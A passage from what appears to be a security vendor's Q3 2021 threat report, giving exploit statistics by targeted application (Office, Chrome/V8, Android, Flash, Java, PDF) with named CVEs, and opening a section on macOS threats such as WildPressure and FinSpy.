change much with time: the first positions are still shared by [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), with another popular vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) not far behind. We already covered these many times \u2014 all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151038/09-en-malware-report-q3-2021-pc-graphs.png>))_\n\nThe share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 \u2014 some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) (type confusion error corrupting the heap memory), [CVE-2021-30632](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (out-of-bounds write in V8) and [CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.\n\nThe third place if held by Google Android vulnerabilities (5.36%) \u2014 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.\n\nOur ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).\n\n## Attacks on macOS\n\nWe will remember Q3 2021 for the two interesting revelations. The first one is the use of [malware code targeting macOS](<https://securelist.com/wildpressure-targets-macos/103072/>) as part of the WildPressure campaign. The second is the detailed [review of the previously unknown FinSpy implants](<https://securelist.com/finspy-unseen-findings/104322/>) for macOS.\n\nSpeaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps.
